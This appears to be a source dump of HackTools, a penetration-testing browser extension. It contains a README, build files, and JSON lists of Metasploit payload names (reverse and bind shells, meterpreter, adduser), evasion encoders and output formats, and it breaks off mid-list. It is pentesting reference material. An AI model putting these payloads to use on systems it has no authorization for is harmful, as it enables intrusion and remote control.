Repository: LasCC/HackTools Branch: master Commit: 8a29a026bd3a Files: 49 Total size: 328.8 KB Directory structure: gitextract_xj8a5qaj/ ├── .babelrc ├── .gitignore ├── README.md ├── package.json ├── src/ │ ├── App.tsx │ ├── assets/ │ │ ├── css/ │ │ │ └── style.css │ │ ├── data/ │ │ │ ├── Encoder.json │ │ │ ├── Format.json │ │ │ ├── Payloads.json │ │ │ ├── Platform.json │ │ │ └── RevShell.json │ │ └── img/ │ │ └── icons/ │ │ └── iconfont.js │ ├── components/ │ │ ├── AboutUs.tsx │ │ ├── LayoutApp.tsx │ │ ├── encoding/ │ │ │ ├── DataEncoding.tsx │ │ │ ├── Hashing.tsx │ │ │ ├── HexEncode.tsx │ │ │ └── URLEncode.tsx │ │ ├── file_transfer/ │ │ │ ├── File_transfer.tsx │ │ │ └── ObfuscatedFiles.tsx │ │ ├── http_utils/ │ │ │ └── HTTP-Utils.tsx │ │ ├── linux/ │ │ │ ├── LinuxCommands.tsx │ │ │ ├── MSFBuilder.tsx │ │ │ ├── PowershellCommands.tsx │ │ │ ├── ReverseShell.tsx │ │ │ └── TtySpawnShell.tsx │ │ ├── notepad/ │ │ │ └── Notepad.tsx │ │ ├── rss/ │ │ │ ├── BugsCX.tsx │ │ │ ├── CVESearch.tsx │ │ │ ├── Cisco.tsx │ │ │ ├── CxsecurityChoose.tsx │ │ │ ├── DorksCX.tsx │ │ │ ├── ExploitCX.tsx │ │ │ ├── ExploitDB.tsx │ │ │ └── FeedRSS.tsx │ │ ├── types/ │ │ │ ├── EchoFileName.ts │ │ │ ├── Ipv4TcpCacheState.ts │ │ │ ├── MSFBuilder.ts │ │ │ └── ObfuscatedFile.ts │ │ └── web/ │ │ ├── LFI.tsx │ │ ├── PhpReverseShell.tsx │ │ ├── SqlInjection.tsx │ │ └── XSS.tsx │ ├── devtools/ │ │ ├── devtools.html │ │ └── devtools.js │ ├── index.html │ └── manifest.json ├── tsconfig.json └── webpack.config.js ================================================ FILE CONTENTS ================================================ ================================================ FILE: .babelrc ================================================ { "presets": [ [ "@babel/preset-env", { "modules": false } ], "@babel/preset-react" ], "plugins": [ "react-hot-loader/babel" ] } ================================================ FILE: .gitignore ================================================ /.git /node_modules /dist .DS_Store yarn.lock package-lock.json yarn-error.log .scannerwork .vscode .idea .github pnpm-lock.yaml bundle*.zip ================================================ FILE: README.md ================================================
logo_hack_tools

Welcome to HackTools !

Version mozilla chrome-extension safari-extension Downloads RawSecInventory

Introduction   —   Preview   —   Install   —   Build   —   Support

--- >[!NOTE] >Psst... Loved HackTools? 👀 > >Check out [Penflow](https://github.com/rb-x/penflow) - our new security testing companion! >Try it at [map.penflow.sh](https://map.penflow.sh) 🚀 >[!NOTE] >Dear Users, > >We're excited to announce a major revamp of our app! Due to recent changes and multiple complications with the browser extension environment, we have decided to develop HackTools as a web application moving forward. > >To keep you engaged, we have uploaded our latest browser extension build alpha at this link: [https://hacktools.sh](https://hacktools.sh/) > >Stay tuned for exciting new features and improvements coming soon! > >Thank you for your support. --- ### The all-in-one browser extension for **offensive security professionals** HackTools, is a web extension facilitating your **web application penetration tests**, it includes **cheat sheets** as well as all the **tools** used during a test such as XSS payloads, Reverse shells and much more. With the extension you **no longer need to search for payloads in different websites** or in your local storage space, most of the tools are accessible in one click. HackTools is accessible either in pop up mode or in a whole tab in the Devtools part of the browser with F12. ### Current functions - Dynamic Reverse Shell generator (PHP, Bash, Ruby, Python, Perl, Netcat) - Shell Spawning (TTY Shell Spawning) - XSS Payloads - Basic SQLi payloads - Local file inclusion payloads (LFI) - Base64 Encoder / Decoder - Hash Generator (MD5, SHA1, SHA256, SHA512, SM3) - Useful Linux commands (Port Forwarding, SUID) - Various method of data exfiltration and download from a remote machine #### Command Palette With the new version of the extension, a command panel has been added in order to facilitate the use of the experience. The command panel allows you to access all the functions of the extension in a few keystrokes. To open the command palette, you can use the shortcut CTRL + K or + K on macOS. - You can use the and arrow keys to navigate through the different commands. - Enter to validate your choice. - + L to toggle the dark theme. - CTRL + ALT + 1,2,3,4 to switch between the different tabs. ## Preview
preview_2
preview_3
preview_4
preview_5
preview_6
# Install the extension

chromium_icon Chromium based browser

You can download the **latest build** [here.](https://github.com/LasCC/Hack-Tools/releases) Or, you can download the extension on the **chrome web store** [here.](https://chrome.google.com/webstore/detail/hack-tools/cmbndhnoonmghfofefkcccljbkdpamhi) Otherwise, you can build the project yourself from the source code

firefox_icon Mozilla Firefox

You can download **HackTools** on the Firefox browser add-ons [here.](https://addons.mozilla.org/en-US/firefox/addon/hacktools/)

safari_icon Instructions to build for Safari

Create a safari web extension project using the command below. _This is to be run once._ ```bash xcrun safari-web-extension-coverter [path_to_dist_folder] ``` Follow the instructions to create the project the default language should be Swift. - Build project. - Open Safari and enable unsigned extensions; Develop -> Allow Unsigned Extensions. - Open Safari -> Preferences -> Extensions and enable Hack-Tools - Click on the extension icon and switch to full screen mode. _Instructions provided by [jayluxferro](https://github.com/LasCC/Hack-Tools/issues/88)_ ### Build from source code ```bash git clone https://github.com/LasCC/Hack-Tools.git cd Hack-Tools npm install && npm run build ``` Once the build is done correctly, webpack will create a new folder called **dist** After that you need to go to the **extension** tab on your chrome based navigator and turn on the **developer mode** extension_tutorial Then click on the **load unpacked** button in the top left corner extension_tutorial Once you clicked on the button you just need to select the **dist folder** and that's it ! 🎉 extension_tutorial ## Authors 👤 **Ludovic COULON** & **Riadh BOUCHAHOUA** ## Show your support You can give a ⭐️ if this project helped you ! Note that this project is maintained, developed and made available for **free**, you can offer us a coffee, it will be very **encouraging and greatly appreciated** 😊 Paypal ================================================ FILE: package.json ================================================ { "name": "hack-tools", "version": "1.0.0", "description": "The all in one Red team browser extension for web pentesters", "main": "index.js", "scripts": { "start": "webpack --watch", "build": "webpack --mode production && rm -f ./dist/*.map", "watch": "webpack --watch", "zip_chrome": "rm -f './dist/*.map' && zip -r bundle_chrome.zip dist/", "zip_moz": " rm -f './dist/*.map' && sed -i 's/\"manifest_version\": 3/\"manifest_version\": 2/g' ./dist/manifest.json && sed -i 's/\"action\":/\"browser_action\":/g' ./dist/manifest.json & zip -r bundle_moz.zip dist/*", "zip_all": "yarn zip_chrome && yarn zip_moz", "test": "echo \"Error: no test specified\" && exit 1" }, "keywords": [], "author": "Ludovic COULON & Riadh BOUCHAHOUA", "license": "MIT", "devDependencies": { "@babel/cli": "^7.21.0", "@babel/core": "^7.21.0", "@babel/helper-call-delegate": "^7.12.13", "@babel/plugin-proposal-class-properties": "^7.18.6", "@babel/preset-env": "^7.20.2", "@babel/preset-react": "^7.18.6", "@babel/preset-typescript": "^7.21.0", "@pmmmwh/react-refresh-webpack-plugin": "^0.5.10", "@types/crypto-js": "^4.1.1", "@types/pretty": "^2.0.1", "@types/react-syntax-highlighter": "^15.5.6", "@types/use-persisted-state": "^0.3.1", "babel-loader": "^9.1.2", "clean-webpack-plugin": "^4.0.0", "copy-webpack-plugin": "^11.0.0", "css-loader": "^6.7.3", "file-loader": "^6.2.0", "html-webpack-plugin": "^5.5.0", "react-hot-loader": "^4.13.1", "react-refresh": "^0.14.0", "style-loader": "^3.3.1", "typescript": "^4.9.5", "webpack": "^5.76.1", "webpack-cli": "^5.0.1", "webpack-dev-server": "^4.11.1" }, "browserslist": [ ">0.2%", "not dead", "not op_mini all" ], "dependencies": { "@ant-design/compatible": "^5.1.1", "@ant-design/cssinjs": "^1.6.1", "@ant-design/icons": "4.8.0", "@ant-design/pro-card": "^2.3.0", "@ant-design/pro-layout": "^7.10.0", "@hot-loader/react-dom": "^17.0.2", "@types/chrome": "^0.0.206", "@types/jest": "^29.4.0", "@types/node": "^18.15.0", "@types/react": "^18.0.28", "@types/react-dom": "^18.0.11", "@uiw/react-md-editor": "^3.20.5", "antd": "5.1.0", "antd-mask-input": "2.0.7", "axios": "^1.3.4", "crypto-js": "^4.1.1", "darkreader": "^4.9.58", "escape-quotes": "^1.0.2", "less": "^4.1.3", "less-loader": "^11.1.0", "mermaid": "^9.4.3", "pretty": "^2.0.0", "rc-queue-anim": "^2.0.0", "react": "^18.2.0", "react-chrome-extension-router": "^1.4.0", "react-clipboard.js": "2.0.16", "react-color": "^2.19.3", "react-dom": "^18.2.0", "react-highlight-words": "^0.18.0", "react-query": "^3.39.3", "react-refresh-typescript": "^2.0.8", "react-syntax-highlighter": "^15.5.0", "sm3": "^1.0.3", "ts-loader": "^9.4.2", "use-persisted-state": "^0.3.3" } } ================================================ FILE: src/App.tsx ================================================ import React from 'react'; import ReactDOM from 'react-dom'; import { Router } from 'react-chrome-extension-router'; import { FloatButton } from 'antd'; import { QueryClientProvider, QueryClient } from 'react-query'; import LayoutApp from './components/LayoutApp'; import ReverseShell from './components/linux/ReverseShell'; import './assets/css/style.css'; const queryClient = new QueryClient(); const App = () => { return (
); }; ReactDOM.render( , document.getElementById( 'app' ) ); ================================================ FILE: src/assets/css/style.css ================================================ .logo:hover { cursor: pointer; animation: jelly 0.5s; } .logo { padding-left: 17px; padding-top: 14px; margin-bottom: 10px; } @keyframes jelly { 0%, 100% { transform: scale(1, 1); } 25% { transform: scale(0.9, 1.1); } 50% { transform: scale(1.1, 0.9); } 75% { transform: scale(0.95, 1.05); } } .ant-badge { color: inherit !important; } .site-layout .site-layout-background { border-radius: 10px; } .ant-menu-inline .ant-menu-item:not(:last-child), .ant-menu-vertical-left .ant-menu-item:not(:last-child), .ant-menu-vertical-right .ant-menu-item:not(:last-child), .ant-menu-vertical .ant-menu-item:not(:last-child) { margin: 0px !important; } .ant-menu-dark.ant-menu-inline .ant-menu-item, .ant-menu-dark.ant-menu-vertical .ant-menu-item, .ant-menu-dark.ant-menu-vertical-left .ant-menu-item, .ant-menu-dark.ant-menu-vertical-right .ant-menu-item { left: 4px !important; margin-left: 0 !important; border-right: 0 !important; } .ant-menu-vertical .ant-menu-item:not(:last-child), .ant-menu-vertical-left .ant-menu-item:not(:last-child), .ant-menu-vertical-right .ant-menu-item:not(:last-child), .ant-menu-inline .ant-menu-item:not(:last-child) { margin: 0 !important; } .ant-menu-inline-collapsed>.ant-menu-item, .ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-item, .ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-submenu>.ant-menu-submenu-title, .ant-menu-inline-collapsed>.ant-menu-submenu>.ant-menu-submenu-title { left: 0 !important; padding: 2px calc(50% - 25px / 2) !important; text-overflow: clip !important; } .ant-menu-vertical>.ant-menu-item, .ant-menu-vertical-left>.ant-menu-item, .ant-menu-vertical-right>.ant-menu-item, .ant-menu-inline>.ant-menu-item, .ant-menu-vertical>.ant-menu-submenu>.ant-menu-submenu-title, .ant-menu-vertical-left>.ant-menu-submenu>.ant-menu-submenu-title, .ant-menu-vertical-right>.ant-menu-submenu>.ant-menu-submenu-title, .ant-menu-inline>.ant-menu-submenu>.ant-menu-submenu-title { height: 35px !important; line-height: 35px !important; } .ant-menu-inline-collapsed>.ant-menu-item .ant-menu-item-icon, .ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-item .ant-menu-item-icon, .ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-submenu>.ant-menu-submenu-title .ant-menu-item-icon, .ant-menu-inline-collapsed>.ant-menu-submenu>.ant-menu-submenu-title .ant-menu-item-icon, .ant-menu-inline-collapsed>.ant-menu-item .anticon, .ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-item .anticon, .ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-submenu>.ant-menu-submenu-title .anticon, .ant-menu-inline-collapsed>.ant-menu-submenu>.ant-menu-submenu-title .anticon { margin: 0 !important; font-size: 18px !important; line-height: 32px !important; } .iconfont { font-family: "iconfont"; margin: 0; font-size: 14px; line-height: 32px; font-style: normal; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } body { min-width: 750px; min-height: auto; margin: 0px !important; font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif; font-size: 14px; } ================================================ FILE: src/assets/data/Encoder.json ================================================ [ { "value": "cmd/echo" }, { "value": "cmd/generic_sh" }, { "value": "cmd/ifs" }, { "value": "cmd/perl" }, { "value": "cmd/powershell_base64" }, { "value": "cmd/printf_php_mq" }, { "value": "generic/eicar" }, { "value": "generic/none" }, { "value": "mipsbe/byte_xori" }, { "value": "mipsbe/longxor" }, { "value": "mipsle/byte_xori" }, { "value": "mipsle/longxor" }, { "value": "php/base64" }, { "value": "ppc/longxor" }, { "value": "ppc/longxor_tag" }, { "value": "ruby/base64" }, { "value": "sparc/longxor_tag" }, { "value": "x64/xor" }, { "value": "x64/zutto_dekiru" }, { "value": "x86/add_sub" }, { "value": "x86/alpha_mixed" }, { "value": "x86/alpha_upper" }, { "value": "x86/avoid_underscore_tolower" }, { "value": "x86/avoid_utf8_tolower" }, { "value": "x86/bloxor" }, { "value": "x86/bmp_polyglot" }, { "value": "x86/call4_dword_xor" }, { "value": "x86/context_cpuid" }, { "value": "x86/context_stat" }, { "value": "x86/context_time" }, { "value": "x86/countdown" }, { "value": "x86/fnstenv_mov" }, { "value": "x86/jmp_call_additive" }, { "value": "x86/nonalpha" }, { "value": "x86/nonupper" }, { "value": "x86/opt_sub" }, { "value": "x86/service" }, { "value": "x86/shikata_ga_nai" }, { "value": "x86/single_static_bit" }, { "value": "x86/unicode_mixed" }, { "value": "x86/unicode_upper" } ] ================================================ FILE: src/assets/data/Format.json ================================================ [ { "value": "asp" }, { "value": "aspx" }, { "value": "aspx-exe" }, { "value": "axis2" }, { "value": "bash" }, { "value": "c" }, { "value": "csharp" }, { "value": "dll" }, { "value": "dw" }, { "value": "dword" }, { "value": "elf" }, { "value": "elf-so" }, { "value": "exe" }, { "value": "exe-only" }, { "value": "exe-service" }, { "value": "exe-small" }, { "value": "hex" }, { "value": "hta-psh" }, { "value": "jar" }, { "value": "java" }, { "value": "js_be" }, { "value": "js_le" }, { "value": "jsp" }, { "value": "loop-vbs" }, { "value": "macho" }, { "value": "msi" }, { "value": "msi-nouac" }, { "value": "num" }, { "value": "osx-app" }, { "value": "perl" }, { "value": "pl" }, { "value": "powershell" }, { "value": "ps1" }, { "value": "psh" }, { "value": "psh-cmd" }, { "value": "psh-net" }, { "value": "psh-reflection" }, { "value": "py" }, { "value": "python" }, { "value": "raw" }, { "value": "rb" }, { "value": "ruby" }, { "value": "sh" }, { "value": "vba" }, { "value": "vba-exe" }, { "value": "vbapplication" }, { "value": "vba-psh" }, { "value": "vbs" }, { "value": "vbscript" }, { "value": "war" } ] ================================================ FILE: src/assets/data/Payloads.json ================================================ [ { "value": "aix/ppc/shell_bind_tcp" }, { "value": "aix/ppc/shell_find_port" }, { "value": "aix/ppc/shell_interact" }, { "value": "aix/ppc/shell_reverse_tcp" }, { "value": "android/meterpreter/reverse_http" }, { "value": "android/meterpreter/reverse_https" }, { "value": "android/meterpreter/reverse_tcp" }, { "value": "android/meterpreter_reverse_http" }, { "value": "android/meterpreter_reverse_https" }, { "value": "android/meterpreter_reverse_tcp" }, { "value": "android/shell/reverse_http" }, { "value": "android/shell/reverse_https" }, { "value": "android/shell/reverse_tcp" }, { "value": "apple_ios/aarch64/meterpreter_reverse_http" }, { "value": "apple_ios/aarch64/meterpreter_reverse_https" }, { "value": "apple_ios/aarch64/meterpreter_reverse_tcp" }, { "value": "apple_ios/aarch64/shell_reverse_tcp" }, { "value": "bsd/sparc/shell_bind_tcp" }, { "value": "bsd/sparc/shell_reverse_tcp" }, { "value": "bsd/x64/exec" }, { "value": "bsd/x64/shell_bind_ipv6_tcp" }, { "value": "bsd/x64/shell_bind_tcp" }, { "value": "bsd/x64/shell_bind_tcp_small" }, { "value": "bsd/x64/shell_reverse_ipv6_tcp" }, { "value": "bsd/x64/shell_reverse_tcp" }, { "value": "bsd/x64/shell_reverse_tcp_small" }, { "value": "bsd/x86/exec" }, { "value": "bsd/x86/metsvc_bind_tcp" }, { "value": "bsd/x86/metsvc_reverse_tcp" }, { "value": "bsd/x86/shell/bind_ipv6_tcp" }, { "value": "bsd/x86/shell/bind_tcp" }, { "value": "bsd/x86/shell/find_tag" }, { "value": "bsd/x86/shell/reverse_ipv6_tcp" }, { "value": "bsd/x86/shell/reverse_tcp" }, { "value": "bsd/x86/shell_bind_tcp" }, { "value": "bsd/x86/shell_bind_tcp_ipv6" }, { "value": "bsd/x86/shell_find_port" }, { "value": "bsd/x86/shell_find_tag" }, { "value": "bsd/x86/shell_reverse_tcp" }, { "value": "bsd/x86/shell_reverse_tcp_ipv6" }, { "value": "bsdi/x86/shell/bind_tcp" }, { "value": "bsdi/x86/shell/reverse_tcp" }, { "value": "bsdi/x86/shell_bind_tcp" }, { "value": "bsdi/x86/shell_find_port" }, { "value": "bsdi/x86/shell_reverse_tcp" }, { "value": "cmd/mainframe/apf_privesc_jcl" }, { "value": "cmd/mainframe/bind_shell_jcl" }, { "value": "cmd/mainframe/generic_jcl" }, { "value": "cmd/mainframe/reverse_shell_jcl" }, { "value": "cmd/unix/bind_awk" }, { "value": "cmd/unix/bind_inetd" }, { "value": "cmd/unix/bind_lua" }, { "value": "cmd/unix/bind_netcat" }, { "value": "cmd/unix/bind_netcat_gaping" }, { "value": "cmd/unix/bind_netcat_gaping_ipv6" }, { "value": "cmd/unix/bind_nodejs" }, { "value": "cmd/unix/bind_perl" }, { "value": "cmd/unix/bind_perl_ipv6" }, { "value": "cmd/unix/bind_r" }, { "value": "cmd/unix/bind_ruby" }, { "value": "cmd/unix/bind_ruby_ipv6" }, { "value": "cmd/unix/bind_socat_udp" }, { "value": "cmd/unix/bind_stub" }, { "value": "cmd/unix/bind_zsh" }, { "value": "cmd/unix/generic" }, { "value": "cmd/unix/interact" }, { "value": "cmd/unix/reverse" }, { "value": "cmd/unix/reverse_awk" }, { "value": "cmd/unix/reverse_bash" }, { "value": "cmd/unix/reverse_bash_telnet_ssl" }, { "value": "cmd/unix/reverse_ksh" }, { "value": "cmd/unix/reverse_lua" }, { "value": "cmd/unix/reverse_ncat_ssl" }, { "value": "cmd/unix/reverse_netcat" }, { "value": "cmd/unix/reverse_netcat_gaping" }, { "value": "cmd/unix/reverse_nodejs" }, { "value": "cmd/unix/reverse_openssl" }, { "value": "cmd/unix/reverse_perl" }, { "value": "cmd/unix/reverse_perl_ssl" }, { "value": "cmd/unix/reverse_php_ssl" }, { "value": "cmd/unix/reverse_python" }, { "value": "cmd/unix/reverse_python_ssl" }, { "value": "cmd/unix/reverse_r" }, { "value": "cmd/unix/reverse_ruby" }, { "value": "cmd/unix/reverse_ruby_ssl" }, { "value": "cmd/unix/reverse_socat_udp" }, { "value": "cmd/unix/reverse_ssl_double_telnet" }, { "value": "cmd/unix/reverse_stub" }, { "value": "cmd/unix/reverse_zsh" }, { "value": "cmd/windows/adduser" }, { "value": "cmd/windows/bind_lua" }, { "value": "cmd/windows/bind_perl" }, { "value": "cmd/windows/bind_perl_ipv6" }, { "value": "cmd/windows/bind_ruby" }, { "value": "cmd/windows/download_eval_vbs" }, { "value": "cmd/windows/download_exec_vbs" }, { "value": "cmd/windows/generic" }, { "value": "cmd/windows/powershell_bind_tcp" }, { "value": "cmd/windows/powershell_reverse_tcp" }, { "value": "cmd/windows/reverse_lua" }, { "value": "cmd/windows/reverse_perl" }, { "value": "cmd/windows/reverse_powershell" }, { "value": "cmd/windows/reverse_ruby" }, { "value": "firefox/exec" }, { "value": "firefox/shell_bind_tcp" }, { "value": "firefox/shell_reverse_tcp" }, { "value": "generic/custom" }, { "value": "generic/debug_trap" }, { "value": "generic/shell_bind_tcp" }, { "value": "generic/shell_reverse_tcp" }, { "value": "generic/tight_loop" }, { "value": "java/jsp_shell_bind_tcp" }, { "value": "java/jsp_shell_reverse_tcp" }, { "value": "java/meterpreter/bind_tcp" }, { "value": "java/meterpreter/reverse_http" }, { "value": "java/meterpreter/reverse_https" }, { "value": "java/meterpreter/reverse_tcp" }, { "value": "java/shell/bind_tcp" }, { "value": "java/shell/reverse_tcp" }, { "value": "java/shell_reverse_tcp" }, { "value": "linux/aarch64/meterpreter/reverse_tcp" }, { "value": "linux/aarch64/meterpreter_reverse_http" }, { "value": "linux/aarch64/meterpreter_reverse_https" }, { "value": "linux/aarch64/meterpreter_reverse_tcp" }, { "value": "linux/aarch64/shell/reverse_tcp" }, { "value": "linux/aarch64/shell_reverse_tcp" }, { "value": "linux/armbe/meterpreter_reverse_http" }, { "value": "linux/armbe/meterpreter_reverse_https" }, { "value": "linux/armbe/meterpreter_reverse_tcp" }, { "value": "linux/armbe/shell_bind_tcp" }, { "value": "linux/armle/adduser" }, { "value": "linux/armle/exec" }, { "value": "linux/armle/meterpreter/bind_tcp" }, { "value": "linux/armle/meterpreter/reverse_tcp" }, { "value": "linux/armle/meterpreter_reverse_http" }, { "value": "linux/armle/meterpreter_reverse_https" }, { "value": "linux/armle/meterpreter_reverse_tcp" }, { "value": "linux/armle/shell/bind_tcp" }, { "value": "linux/armle/shell/reverse_tcp" }, { "value": "linux/armle/shell_bind_tcp" }, { "value": "linux/armle/shell_reverse_tcp" }, { "value": "linux/mips64/meterpreter_reverse_http" }, { "value": "linux/mips64/meterpreter_reverse_https" }, { "value": "linux/mips64/meterpreter_reverse_tcp" }, { "value": "linux/mipsbe/exec" }, { "value": "linux/mipsbe/meterpreter/reverse_tcp" }, { "value": "linux/mipsbe/meterpreter_reverse_http" }, { "value": "linux/mipsbe/meterpreter_reverse_https" }, { "value": "linux/mipsbe/meterpreter_reverse_tcp" }, { "value": "linux/mipsbe/reboot" }, { "value": "linux/mipsbe/shell/reverse_tcp" }, { "value": "linux/mipsbe/shell_bind_tcp" }, { "value": "linux/mipsbe/shell_reverse_tcp" }, { "value": "linux/mipsle/exec" }, { "value": "linux/mipsle/meterpreter/reverse_tcp" }, { "value": "linux/mipsle/meterpreter_reverse_http" }, { "value": "linux/mipsle/meterpreter_reverse_https" }, { "value": "linux/mipsle/meterpreter_reverse_tcp" }, { "value": "linux/mipsle/reboot" }, { "value": "linux/mipsle/shell/reverse_tcp" }, { "value": "linux/mipsle/shell_bind_tcp" }, { "value": "linux/mipsle/shell_reverse_tcp" }, { "value": "linux/ppc/meterpreter_reverse_http" }, { "value": "linux/ppc/meterpreter_reverse_https" }, { "value": "linux/ppc/meterpreter_reverse_tcp" }, { "value": "linux/ppc/shell_bind_tcp" }, { "value": "linux/ppc/shell_find_port" }, { "value": "linux/ppc/shell_reverse_tcp" }, { "value": "linux/ppc64/shell_bind_tcp" }, { "value": "linux/ppc64/shell_find_port" }, { "value": "linux/ppc64/shell_reverse_tcp" }, { "value": "linux/ppc64le/meterpreter_reverse_http" }, { "value": "linux/ppc64le/meterpreter_reverse_https" }, { "value": "linux/ppc64le/meterpreter_reverse_tcp" }, { "value": "linux/ppce500v2/meterpreter_reverse_http" }, { "value": "linux/ppce500v2/meterpreter_reverse_https" }, { "value": "linux/ppce500v2/meterpreter_reverse_tcp" }, { "value": "linux/x64/exec" }, { "value": "linux/x64/meterpreter/bind_tcp" }, { "value": "linux/x64/meterpreter/reverse_tcp" }, { "value": "linux/x64/meterpreter_reverse_http" }, { "value": "linux/x64/meterpreter_reverse_https" }, { "value": "linux/x64/meterpreter_reverse_tcp" }, { "value": "linux/x64/shell/bind_tcp" }, { "value": "linux/x64/shell/reverse_tcp" }, { "value": "linux/x64/shell_bind_tcp" }, { "value": "linux/x64/shell_bind_tcp_random_port" }, { "value": "linux/x64/shell_find_port" }, { "value": "linux/x64/shell_reverse_tcp" }, { "value": "linux/x86/adduser" }, { "value": "linux/x86/chmod" }, { "value": "linux/x86/exec" }, { "value": "linux/x86/meterpreter/bind_ipv6_tcp" }, { "value": "linux/x86/meterpreter/bind_ipv6_tcp_uuid" }, { "value": "linux/x86/meterpreter/bind_nonx_tcp" }, { "value": "linux/x86/meterpreter/bind_tcp" }, { "value": "linux/x86/meterpreter/bind_tcp_uuid" }, { "value": "linux/x86/meterpreter/find_tag" }, { "value": "linux/x86/meterpreter/reverse_ipv6_tcp" }, { "value": "linux/x86/meterpreter/reverse_nonx_tcp" }, { "value": "linux/x86/meterpreter/reverse_tcp" }, { "value": "linux/x86/meterpreter/reverse_tcp_uuid" }, { "value": "linux/x86/meterpreter_reverse_http" }, { "value": "linux/x86/meterpreter_reverse_https" }, { "value": "linux/x86/meterpreter_reverse_tcp" }, { "value": "linux/x86/metsvc_bind_tcp" }, { "value": "linux/x86/metsvc_reverse_tcp" }, { "value": "linux/x86/read_file" }, { "value": "linux/x86/shell/bind_ipv6_tcp" }, { "value": "linux/x86/shell/bind_ipv6_tcp_uuid" }, { "value": "linux/x86/shell/bind_nonx_tcp" }, { "value": "linux/x86/shell/bind_tcp" }, { "value": "linux/x86/shell/bind_tcp_uuid" }, { "value": "linux/x86/shell/find_tag" }, { "value": "linux/x86/shell/reverse_ipv6_tcp" }, { "value": "linux/x86/shell/reverse_nonx_tcp" }, { "value": "linux/x86/shell/reverse_tcp" }, { "value": "linux/x86/shell/reverse_tcp_uuid" }, { "value": "linux/x86/shell_bind_ipv6_tcp" }, { "value": "linux/x86/shell_bind_tcp" }, { "value": "linux/x86/shell_bind_tcp_random_port" }, { "value": "linux/x86/shell_find_port" }, { "value": "linux/x86/shell_find_tag" }, { "value": "linux/x86/shell_reverse_tcp" }, { "value": "linux/x86/shell_reverse_tcp_ipv6" }, { "value": "linux/zarch/meterpreter_reverse_http" }, { "value": "linux/zarch/meterpreter_reverse_https" }, { "value": "linux/zarch/meterpreter_reverse_tcp" }, { "value": "mainframe/shell_reverse_tcp" }, { "value": "multi/meterpreter/reverse_http" }, { "value": "multi/meterpreter/reverse_https" }, { "value": "netware/shell/reverse_tcp" }, { "value": "nodejs/shell_bind_tcp" }, { "value": "nodejs/shell_reverse_tcp" }, { "value": "nodejs/shell_reverse_tcp_ssl" }, { "value": "osx/armle/execute/bind_tcp" }, { "value": "osx/armle/execute/reverse_tcp" }, { "value": "osx/armle/shell/bind_tcp" }, { "value": "osx/armle/shell/reverse_tcp" }, { "value": "osx/armle/shell_bind_tcp" }, { "value": "osx/armle/shell_reverse_tcp" }, { "value": "osx/armle/vibrate" }, { "value": "osx/ppc/shell/bind_tcp" }, { "value": "osx/ppc/shell/find_tag" }, { "value": "osx/ppc/shell/reverse_tcp" }, { "value": "osx/ppc/shell_bind_tcp" }, { "value": "osx/ppc/shell_reverse_tcp" }, { "value": "osx/x64/dupandexecve/bind_tcp" }, { "value": "osx/x64/dupandexecve/reverse_tcp" }, { "value": "osx/x64/exec" }, { "value": "osx/x64/meterpreter/bind_tcp" }, { "value": "osx/x64/meterpreter/reverse_tcp" }, { "value": "osx/x64/meterpreter_reverse_http" }, { "value": "osx/x64/meterpreter_reverse_https" }, { "value": "osx/x64/meterpreter_reverse_tcp" }, { "value": "osx/x64/say" }, { "value": "osx/x64/shell_bind_tcp" }, { "value": "osx/x64/shell_find_tag" }, { "value": "osx/x64/shell_reverse_tcp" }, { "value": "osx/x86/bundleinject/bind_tcp" }, { "value": "osx/x86/bundleinject/reverse_tcp" }, { "value": "osx/x86/exec" }, { "value": "osx/x86/isight/bind_tcp" }, { "value": "osx/x86/isight/reverse_tcp" }, { "value": "osx/x86/shell_bind_tcp" }, { "value": "osx/x86/shell_find_port" }, { "value": "osx/x86/shell_reverse_tcp" }, { "value": "osx/x86/vforkshell/bind_tcp" }, { "value": "osx/x86/vforkshell/reverse_tcp" }, { "value": "osx/x86/vforkshell_bind_tcp" }, { "value": "osx/x86/vforkshell_reverse_tcp" }, { "value": "php/bind_perl" }, { "value": "php/bind_perl_ipv6" }, { "value": "php/bind_php" }, { "value": "php/bind_php_ipv6" }, { "value": "php/download_exec" }, { "value": "php/exec" }, { "value": "php/meterpreter/bind_tcp" }, { "value": "php/meterpreter/bind_tcp_ipv6" }, { "value": "php/meterpreter/bind_tcp_ipv6_uuid" }, { "value": "php/meterpreter/bind_tcp_uuid" }, { "value": "php/meterpreter/reverse_tcp" }, { "value": "php/meterpreter/reverse_tcp_uuid" }, { "value": "php/meterpreter_reverse_tcp" }, { "value": "php/reverse_perl" }, { "value": "php/reverse_php" }, { "value": "php/shell_findsock" }, { "value": "python/meterpreter/bind_tcp" }, { "value": "python/meterpreter/bind_tcp_uuid" }, { "value": "python/meterpreter/reverse_http" }, { "value": "python/meterpreter/reverse_https" }, { "value": "python/meterpreter/reverse_tcp" }, { "value": "python/meterpreter/reverse_tcp_ssl" }, { "value": "python/meterpreter/reverse_tcp_uuid" }, { "value": "python/meterpreter_bind_tcp" }, { "value": "python/meterpreter_reverse_http" }, { "value": "python/meterpreter_reverse_https" }, { "value": "python/meterpreter_reverse_tcp" }, { "value": "python/shell_bind_tcp" }, { "value": "python/shell_reverse_tcp" }, { "value": "python/shell_reverse_tcp_ssl" }, { "value": "python/shell_reverse_udp" }, { "value": "r/shell_bind_tcp" }, { "value": "r/shell_reverse_tcp" }, { "value": "ruby/shell_bind_tcp" }, { "value": "ruby/shell_bind_tcp_ipv6" }, { "value": "ruby/shell_reverse_tcp" }, { "value": "ruby/shell_reverse_tcp_ssl" }, { "value": "solaris/sparc/shell_bind_tcp" }, { "value": "solaris/sparc/shell_find_port" }, { "value": "solaris/sparc/shell_reverse_tcp" }, { "value": "solaris/x86/shell_bind_tcp" }, { "value": "solaris/x86/shell_find_port" }, { "value": "solaris/x86/shell_reverse_tcp" }, { "value": "tty/unix/interact" }, { "value": "windows/adduser" }, { "value": "windows/dllinject/bind_hidden_ipknock_tcp" }, { "value": 